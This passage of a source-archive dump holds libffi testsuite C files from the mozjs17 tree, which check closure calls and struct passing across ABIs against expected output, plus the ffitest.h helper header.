&ffi_type_sint; cl_arg_types[10] = &ffi_type_sint; cl_arg_types[11] = &ffi_type_float; cl_arg_types[12] = &ffi_type_sint; cl_arg_types[13] = &ffi_type_sint; cl_arg_types[14] = &ffi_type_sint; cl_arg_types[15] = &ffi_type_sint; cl_arg_types[16] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 16, &ffi_type_sint, cl_arg_types) == FFI_OK); pcl = ffi_closure_alloc(sizeof(ffi_closure), &codeloc); CHECK(pcl != NULL); CHECK(codeloc != NULL); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_loc_test_fn0, (void *) 3 /* userdata */, codeloc) == FFI_OK); CHECK(memcmp(pcl, codeloc, sizeof(*pcl)) == 0); res = (*((closure_loc_test_type0)codeloc)) (1LL, 2, 3LL, 4, 127, 429LL, 7, 8, 9.5, 10, 11, 12, 13, 19, 21, 1); /* { dg-output "1 2 3 4 127 429 7 8 9 10 11 12 13 19 21 1 3: 680" } */ printf("res: %d\n",res); /* { dg-output "\nres: 680" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_ulonglong.c0000664000175000017500000000264412106270662025762 0ustar sstanglsstangl/* Area: closure_call Purpose: Check return value long long. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ /* { dg-options "-Wno-format" { target alpha*-dec-osf* } } */ #include "ffitest.h" static void cls_ret_ulonglong_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { *(unsigned long long *)resp= *(unsigned long long *)args[0]; printf("%" PRIuLL ": %" PRIuLL "\n",*(unsigned long long *)args[0], *(unsigned long long *)(resp)); } typedef unsigned long long (*cls_ret_ulonglong)(unsigned long long); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[2]; unsigned long long res; cl_arg_types[0] = &ffi_type_uint64; cl_arg_types[1] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_uint64, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_ret_ulonglong_fn, NULL, code) == FFI_OK); res = (*((cls_ret_ulonglong)code))(214LL); /* { dg-output "214: 214" } */ printf("res: %" PRIdLL "\n", res); /* { dg-output "\nres: 214" } */ res = (*((cls_ret_ulonglong)code))(9223372035854775808LL); /* { dg-output "\n9223372035854775808: 9223372035854775808" } */ printf("res: %" PRIdLL "\n", res); /* { dg-output "\nres: 9223372035854775808" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_4_1byte.c0000664000175000017500000000545412106270662025227 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Especially with small structures which may fit in one register. Depending on the ABI. Limitations: none. PR: none. Originator: 20030902 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_4_1byte { unsigned char a; unsigned char b; unsigned char c; unsigned char d; } cls_struct_4_1byte; cls_struct_4_1byte cls_struct_4_1byte_fn(struct cls_struct_4_1byte a1, struct cls_struct_4_1byte a2) { struct cls_struct_4_1byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; result.d = a1.d + a2.d; printf("%d %d %d %d %d %d %d %d: %d %d %d %d\n", a1.a, a1.b, a1.c, a1.d, a2.a, a2.b, a2.c, a2.d, result.a, result.b, result.c, result.d); return result; } static void cls_struct_4_1byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_4_1byte a1, a2; a1 = *(struct cls_struct_4_1byte*)(args[0]); a2 = *(struct cls_struct_4_1byte*)(args[1]); *(cls_struct_4_1byte*)resp = cls_struct_4_1byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[5]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_4_1byte g_dbl = { 12, 13, 14, 15 }; struct cls_struct_4_1byte f_dbl = { 178, 179, 180, 181 }; struct cls_struct_4_1byte res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = &ffi_type_uchar; cls_struct_fields[4] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_4_1byte_fn), &res_dbl, args_dbl); /* { dg-output "12 13 14 15 178 179 180 181: 190 192 194 196" } */ printf("res: %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d); /* { dg-output "\nres: 190 192 194 196" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_4_1byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_4_1byte(*)(cls_struct_4_1byte, cls_struct_4_1byte))(code))(g_dbl, f_dbl); /* { dg-output "\n12 13 14 15 178 179 180 181: 190 192 194 196" } */ printf("res: %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d); /* { dg-output "\nres: 190 192 194 196" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/ffitest.h0000664000175000017500000000461712106270662024570 0ustar sstanglsstangl#include #include #include #include #include #include "fficonfig.h" #if defined HAVE_STDINT_H #include #endif #if defined HAVE_INTTYPES_H #include #endif #define MAX_ARGS 256 #define CHECK(x) !(x) ? abort() : 0 /* Define __UNUSED__ that also other compilers than gcc can run the tests. */ #undef __UNUSED__ #if defined(__GNUC__) #define __UNUSED__ __attribute__((__unused__)) #else #define __UNUSED__ #endif /* Prefer MAP_ANON(YMOUS) to /dev/zero, since we don't need to keep a file open. */ #ifdef HAVE_MMAP_ANON # undef HAVE_MMAP_DEV_ZERO # include # ifndef MAP_FAILED # define MAP_FAILED -1 # endif # if !defined (MAP_ANONYMOUS) && defined (MAP_ANON) # define MAP_ANONYMOUS MAP_ANON # endif # define USING_MMAP #endif #ifdef HAVE_MMAP_DEV_ZERO # include # ifndef MAP_FAILED # define MAP_FAILED -1 # endif # define USING_MMAP #endif /* MinGW kludge. */ #ifdef _WIN64 #define PRIdLL "I64d" #define PRIuLL "I64u" #else #define PRIdLL "lld" #define PRIuLL "llu" #endif /* Tru64 UNIX kludge. */ #if defined(__alpha__) && defined(__osf__) /* Tru64 UNIX V4.0 doesn't support %lld/%lld, but long is 64-bit. */ #undef PRIdLL #define PRIdLL "ld" #undef PRIuLL #define PRIuLL "lu" #define PRId64 "ld" #define PRIu64 "lu" #define PRIuPTR "lu" #endif /* PA HP-UX kludge. */ #if defined(__hppa__) && defined(__hpux__) && !defined(PRIuPTR) #define PRIuPTR "lu" #endif /* Solaris < 10 kludge. */ #if defined(__sun__) && defined(__svr4__) && !defined(PRIuPTR) #if defined(__arch64__) || defined (__x86_64__) #define PRIuPTR "lu" #else #define PRIuPTR "u" #endif #endif #ifdef USING_MMAP static inline void * allocate_mmap (size_t size) { void *page; #if defined (HAVE_MMAP_DEV_ZERO) static int dev_zero_fd = -1; #endif #ifdef HAVE_MMAP_DEV_ZERO if (dev_zero_fd == -1) { dev_zero_fd = open ("/dev/zero", O_RDONLY); if (dev_zero_fd == -1) { perror ("open /dev/zero: %m"); exit (1); } } #endif #ifdef HAVE_MMAP_ANON page = mmap (NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); #endif #ifdef HAVE_MMAP_DEV_ZERO page = mmap (NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE, dev_zero_fd, 0); #endif if (page == (void *) MAP_FAILED) { perror ("virtual memory exhausted"); exit (1); } return page; } #endif mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/closure_fn5.c0000664000175000017500000000577112106270662025345 0ustar sstanglsstangl/* Area: closure_call Purpose: Check multiple long long values passing. Exceed the limit of gpr registers on PowerPC Darwin. Limitations: none. PR: none. Originator: 20031026 */ /* { dg-do run } */ #include "ffitest.h" static void closure_test_fn5(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata) { *(ffi_arg*)resp = (int)*(unsigned long long *)args[0] + (int)*(unsigned long long *)args[1] + (int)*(unsigned long long *)args[2] + (int)*(unsigned long long *)args[3] + (int)*(unsigned long long *)args[4] + (int)*(unsigned long long *)args[5] + (int)*(unsigned long long *)args[6] + (int)*(unsigned long long *)args[7] + (int)*(unsigned long long *)args[8] + (int)*(unsigned long long *)args[9] + (int)*(int *)args[10] + (int)*(unsigned long long *)args[11] + (int)*(unsigned long long *)args[12] + (int)*(unsigned long long *)args[13] + (int)*(unsigned long long *)args[14] + *(int *)args[15] + (intptr_t)userdata; printf("%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d: %d\n", (int)*(unsigned long long *)args[0], (int)*(unsigned long long *)args[1], (int)*(unsigned long long *)args[2], (int)*(unsigned long long *)args[3], (int)*(unsigned long long *)args[4], (int)*(unsigned long long *)args[5], (int)*(unsigned long long *)args[6], (int)*(unsigned long long *)args[7], (int)*(unsigned long long *)args[8], (int)*(unsigned long long *)args[9], (int)*(int *)args[10], (int)*(unsigned long long *)args[11], (int)*(unsigned long long *)args[12], (int)*(unsigned long long *)args[13], (int)*(unsigned long long *)args[14], *(int *)args[15], (int)(intptr_t)userdata, (int)*(ffi_arg *)resp); } typedef int (*closure_test_type0)(unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, unsigned long long, int, unsigned long long, unsigned long long, unsigned long long, unsigned long long, int); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[17]; int i, res; for (i = 0; i < 10; i++) { cl_arg_types[i] = &ffi_type_uint64; } cl_arg_types[10] = &ffi_type_sint; for (i = 11; i < 15; i++) { cl_arg_types[i] = &ffi_type_uint64; } cl_arg_types[15] = &ffi_type_sint; cl_arg_types[16] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 16, &ffi_type_sint, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_test_fn5, (void *) 3 /* userdata */, code) == FFI_OK); res = (*((closure_test_type0)code)) (1LL, 2LL, 3LL, 4LL, 127LL, 429LL, 7LL, 8LL, 9LL, 10LL, 11, 12LL, 13LL, 19LL, 21LL, 1); /* { dg-output "1 2 3 4 127 429 7 8 9 10 11 12 13 19 21 1 3: 680" } */ printf("res: %d\n",res); /* { dg-output "\nres: 680" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_9byte2.c0000664000175000017500000000461412106270662025073 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Darwin/AIX do double-word alignment of the struct if the first element is a double. Check that it does here. Limitations: none. PR: none. Originator: 20030914 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_9byte { double a; int b; } cls_struct_9byte; cls_struct_9byte cls_struct_9byte_fn(struct cls_struct_9byte b1, struct cls_struct_9byte b2) { struct cls_struct_9byte result; result.a = b1.a + b2.a; result.b = b1.b + b2.b; printf("%g %d %g %d: %g %d\n", b1.a, b1.b, b2.a, b2.b, result.a, result.b); return result; } static void cls_struct_9byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_9byte b1, b2; b1 = *(struct cls_struct_9byte*)(args[0]); b2 = *(struct cls_struct_9byte*)(args[1]); *(cls_struct_9byte*)resp = cls_struct_9byte_fn(b1, b2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[3]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_9byte h_dbl = { 7.0, 8}; struct cls_struct_9byte j_dbl = { 1.0, 9}; struct cls_struct_9byte res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_sint; cls_struct_fields[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &h_dbl; args_dbl[1] = &j_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_9byte_fn), &res_dbl, args_dbl); /* { dg-output "7 8 1 9: 8 17" } */ printf("res: %g %d\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 8 17" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_9byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_9byte(*)(cls_struct_9byte, cls_struct_9byte))(code))(h_dbl, j_dbl); /* { dg-output "\n7 8 1 9: 8 17" } */ printf("res: %g %d\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 8 17" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/testclosure.c0000664000175000017500000000317512106270662025471 0ustar sstanglsstangl/* Area: closure_call Purpose: Check return value float. Limitations: none. PR: 41908. Originator: 20091102 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_combined { float a; float b; float c; float d; } cls_struct_combined; void cls_struct_combined_fn(struct cls_struct_combined arg) { printf("%g %g %g %g\n", arg.a, arg.b, arg.c, arg.d); fflush(stdout); } static void cls_struct_combined_gn(ffi_cif* cif __UNUSED__, void* resp __UNUSED__, void** args, void* userdata __UNUSED__) { struct cls_struct_combined a0; a0 = *(struct cls_struct_combined*)(args[0]); cls_struct_combined_fn(a0); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type* cls_struct_fields0[5]; ffi_type cls_struct_type0; ffi_type* dbl_arg_types[5]; cls_struct_type0.size = 0; cls_struct_type0.alignment = 0; cls_struct_type0.type = FFI_TYPE_STRUCT; cls_struct_type0.elements = cls_struct_fields0; struct cls_struct_combined g_dbl = {4.0, 5.0, 1.0, 8.0}; cls_struct_fields0[0] = &ffi_type_float; cls_struct_fields0[1] = &ffi_type_float; cls_struct_fields0[2] = &ffi_type_float; cls_struct_fields0[3] = &ffi_type_float; cls_struct_fields0[4] = NULL; dbl_arg_types[0] = &cls_struct_type0; dbl_arg_types[1] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_void, dbl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_combined_gn, NULL, code) == FFI_OK); ((void(*)(cls_struct_combined)) (code))(g_dbl); /* { dg-output "4 5 1 8" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/closure_fn2.c0000664000175000017500000000551412106270662025335 0ustar sstanglsstangl/* Area: closure_call Purpose: Check multiple values passing from different type. Also, exceed the limit of gpr and fpr registers on PowerPC Darwin. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" static void closure_test_fn2(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata) { *(ffi_arg*)resp = (int)*(double *)args[0] +(int)(*(double *)args[1]) + (int)(*(double *)args[2]) + (int)*(double *)args[3] + (int)(*(signed short *)args[4]) + (int)(*(double *)args[5]) + (int)*(double *)args[6] + (int)(*(int *)args[7]) + (int)(*(double *)args[8]) + (int)*(int *)args[9] + (int)(*(int *)args[10]) + (int)(*(float *)args[11]) + (int)*(int *)args[12] + (int)(*(float *)args[13]) + (int)(*(int *)args[14]) + *(int *)args[15] + (intptr_t)userdata; printf("%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d: %d\n", (int)*(double *)args[0], (int)(*(double *)args[1]), (int)(*(double *)args[2]), (int)*(double *)args[3], (int)(*(signed short *)args[4]), (int)(*(double *)args[5]), (int)*(double *)args[6], (int)(*(int *)args[7]), (int)(*(double*)args[8]), (int)*(int *)args[9], (int)(*(int *)args[10]), (int)(*(float *)args[11]), (int)*(int *)args[12], (int)(*(float *)args[13]), (int)(*(int *)args[14]), *(int *)args[15], (int)(intptr_t)userdata, (int)*(ffi_arg *)resp); } typedef int (*closure_test_type2)(double, double, double, double, signed short, double, double, int, double, int, int, float, int, float, int, int); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[17]; int res; cl_arg_types[0] = &ffi_type_double; cl_arg_types[1] = &ffi_type_double; cl_arg_types[2] = &ffi_type_double; cl_arg_types[3] = &ffi_type_double; cl_arg_types[4] = &ffi_type_sshort; cl_arg_types[5] = &ffi_type_double; cl_arg_types[6] = &ffi_type_double; cl_arg_types[7] = &ffi_type_sint; cl_arg_types[8] = &ffi_type_double; cl_arg_types[9] = &ffi_type_sint; cl_arg_types[10] = &ffi_type_sint; cl_arg_types[11] = &ffi_type_float; cl_arg_types[12] = &ffi_type_sint; cl_arg_types[13] = &ffi_type_float; cl_arg_types[14] = &ffi_type_sint; cl_arg_types[15] = &ffi_type_sint; cl_arg_types[16] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 16, &ffi_type_sint, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_test_fn2, (void *) 3 /* userdata */, code) == FFI_OK); res = (*((closure_test_type2)code)) (1, 2, 3, 4, 127, 5, 6, 8, 9, 10, 11, 12.0, 13, 19.0, 21, 1); /* { dg-output "1 2 3 4 127 5 6 8 9 10 11 12 13 19 21 1 3: 255" } */ printf("res: %d\n",res); /* { dg-output "\nres: 255" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_longdouble_split.c0000664000175000017500000000724512106270662030477 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of long double. Limitations: none. PR: none. Originator: 20031203 */ /* { dg-excess-errors "no long double format" { xfail x86_64-*-mingw* x86_64-*-cygwin* } } */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ /* { dg-options -mlong-double-128 { target powerpc64*-*-* } } */ /* { dg-output "" { xfail x86_64-*-mingw* x86_64-*-cygwin* } } */ #include "ffitest.h" typedef struct cls_struct_align { long double a; long double b; long double c; long double d; long double e; long double f; long double g; } cls_struct_align; cls_struct_align cls_struct_align_fn( cls_struct_align a1, cls_struct_align a2) { struct cls_struct_align r; r.a = a1.a + a2.a; r.b = a1.b + a2.b; r.c = a1.c + a2.c; r.d = a1.d + a2.d; r.e = a1.e + a2.e; r.f = a1.f + a2.f; r.g = a1.g + a2.g; printf("%Lg %Lg %Lg %Lg %Lg %Lg %Lg %Lg %Lg %Lg %Lg %Lg %Lg %Lg: " "%Lg %Lg %Lg %Lg %Lg %Lg %Lg\n", a1.a, a1.b, a1.c, a1.d, a1.e, a1.f, a1.g, a2.a, a2.b, a2.c, a2.d, a2.e, a2.f, a2.g, r.a, r.b, r.c, r.d, r.e, r.f, r.g); return r; } cls_struct_align cls_struct_align_fn2( cls_struct_align a1) { struct cls_struct_align r; r.a = a1.a + 1; r.b = a1.b + 1; r.c = a1.c + 1; r.d = a1.d + 1; r.e = a1.e + 1; r.f = a1.f + 1; r.g = a1.g + 1; printf("%Lg %Lg %Lg %Lg %Lg %Lg %Lg: " "%Lg %Lg %Lg %Lg %Lg %Lg %Lg\n", a1.a, a1.b, a1.c, a1.d, a1.e, a1.f, a1.g, r.a, r.b, r.c, r.d, r.e, r.f, r.g); return r; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[8]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 1, 2, 3, 4, 5, 6, 7 }; struct cls_struct_align f_dbl = { 8, 9, 10, 11, 12, 13, 14 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_longdouble; cls_struct_fields[1] = &ffi_type_longdouble; cls_struct_fields[2] = &ffi_type_longdouble; cls_struct_fields[3] = &ffi_type_longdouble; cls_struct_fields[4] = &ffi_type_longdouble; cls_struct_fields[5] = &ffi_type_longdouble; cls_struct_fields[6] = &ffi_type_longdouble; cls_struct_fields[7] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "1 2 3 4 5 6 7 8 9 10 11 12 13 14: 9 11 13 15 17 19 21" } */ printf("res: %Lg %Lg %Lg %Lg %Lg %Lg %Lg\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g); /* { dg-output "\nres: 9 11 13 15 17 19 21" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n1 2 3 4 5 6 7 8 9 10 11 12 13 14: 9 11 13 15 17 19 21" } */ printf("res: %Lg %Lg %Lg %Lg %Lg %Lg %Lg\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g); /* { dg-output "\nres: 9 11 13 15 17 19 21" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_24byte.c0000664000175000017500000000647012106270662025070 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_24byte { double a; double b; int c; float d; } cls_struct_24byte; cls_struct_24byte cls_struct_24byte_fn(struct cls_struct_24byte b0, struct cls_struct_24byte b1, struct cls_struct_24byte b2, struct cls_struct_24byte b3) { struct cls_struct_24byte result; result.a = b0.a + b1.a + b2.a + b3.a; result.b = b0.b + b1.b + b2.b + b3.b; result.c = b0.c + b1.c + b2.c + b3.c; result.d = b0.d + b1.d + b2.d + b3.d; printf("%g %g %d %g %g %g %d %g %g %g %d %g %g %g %d %g: %g %g %d %g\n", b0.a, b0.b, b0.c, b0.d, b1.a, b1.b, b1.c, b1.d, b2.a, b2.b, b2.c, b2.d, b3.a, b3.b, b3.c, b2.d, result.a, result.b, result.c, result.d); return result; } static void cls_struct_24byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_24byte b0, b1, b2, b3; b0 = *(struct cls_struct_24byte*)(args[0]); b1 = *(struct cls_struct_24byte*)(args[1]); b2 = *(struct cls_struct_24byte*)(args[2]); b3 = *(struct cls_struct_24byte*)(args[3]); *(cls_struct_24byte*)resp = cls_struct_24byte_fn(b0, b1, b2, b3); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[5]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_24byte e_dbl = { 9.0, 2.0, 6, 5.0 }; struct cls_struct_24byte f_dbl = { 1.0, 2.0, 3, 7.0 }; struct cls_struct_24byte g_dbl = { 4.0, 5.0, 7, 9.0 }; struct cls_struct_24byte h_dbl = { 8.0, 6.0, 1, 4.0 }; struct cls_struct_24byte res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_double; cls_struct_fields[2] = &ffi_type_sint; cls_struct_fields[3] = &ffi_type_float; cls_struct_fields[4] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = &cls_struct_type; dbl_arg_types[3] = &cls_struct_type; dbl_arg_types[4] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = &h_dbl; args_dbl[4] = NULL; ffi_call(&cif, FFI_FN(cls_struct_24byte_fn), &res_dbl, args_dbl); /* { dg-output "9 2 6 5 1 2 3 7 4 5 7 9 8 6 1 9: 22 15 17 25" } */ printf("res: %g %g %d %g\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d); /* { dg-output "\nres: 22 15 17 25" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_24byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_24byte(*)(cls_struct_24byte, cls_struct_24byte, cls_struct_24byte, cls_struct_24byte)) (code))(e_dbl, f_dbl, g_dbl, h_dbl); /* { dg-output "\n9 2 6 5 1 2 3 7 4 5 7 9 8 6 1 9: 22 15 17 25" } */ printf("res: %g %g %d %g\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d); /* { dg-output "\nres: 22 15 17 25" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/stret_large2.c0000664000175000017500000001140212106270662025502 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure returning with different structure size. Depending on the ABI. Check bigger struct which overlaps the gp and fp register count on Darwin/AIX/ppc64. Limitations: none. PR: none. Originator: Blake Chaffin 6/21/2007 */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ #include "ffitest.h" // 13 FPRs: 104 bytes // 14 FPRs: 112 bytes typedef struct struct_116byte { double a; double b; double c; double d; double e; double f; double g; double h; double i; double j; double k; double l; double m; double n; int o; } struct_116byte; struct_116byte cls_struct_116byte_fn( struct_116byte b0, struct_116byte b1, struct_116byte b2, struct_116byte b3) { struct_116byte result; result.a = b0.a + b1.a + b2.a + b3.a; result.b = b0.b + b1.b + b2.b + b3.b; result.c = b0.c + b1.c + b2.c + b3.c; result.d = b0.d + b1.d + b2.d + b3.d; result.e = b0.e + b1.e + b2.e + b3.e; result.f = b0.f + b1.f + b2.f + b3.f; result.g = b0.g + b1.g + b2.g + b3.g; result.h = b0.h + b1.h + b2.h + b3.h; result.i = b0.i + b1.i + b2.i + b3.i; result.j = b0.j + b1.j + b2.j + b3.j; result.k = b0.k + b1.k + b2.k + b3.k; result.l = b0.l + b1.l + b2.l + b3.l; result.m = b0.m + b1.m + b2.m + b3.m; result.n = b0.n + b1.n + b2.n + b3.n; result.o = b0.o + b1.o + b2.o + b3.o; printf("%g %g %g %g %g %g %g %g %g %g %g %g %g %g %d\n", result.a, result.b, result.c, result.d, result.e, result.f, result.g, result.h, result.i, result.j, result.k, result.l, result.m, result.n, result.o); return result; } static void cls_struct_116byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct_116byte b0, b1, b2, b3; b0 = *(struct_116byte*)(args[0]); b1 = *(struct_116byte*)(args[1]); b2 = *(struct_116byte*)(args[2]); b3 = *(struct_116byte*)(args[3]); *(struct_116byte*)resp = cls_struct_116byte_fn(b0, b1, b2, b3); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[16]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct_116byte e_dbl = { 9.0, 2.0, 6.0, 5.0, 3.0, 4.0, 8.0, 1.0, 1.0, 2.0, 3.0, 7.0, 2.0, 5.0, 7 }; struct_116byte f_dbl = { 1.0, 2.0, 3.0, 7.0, 2.0, 5.0, 6.0, 7.0, 4.0, 5.0, 7.0, 9.0, 1.0, 6.0, 4 }; struct_116byte g_dbl = { 4.0, 5.0, 7.0, 9.0, 1.0, 1.0, 2.0, 9.0, 8.0, 6.0, 1.0, 4.0, 0.0, 7.0, 3 }; struct_116byte 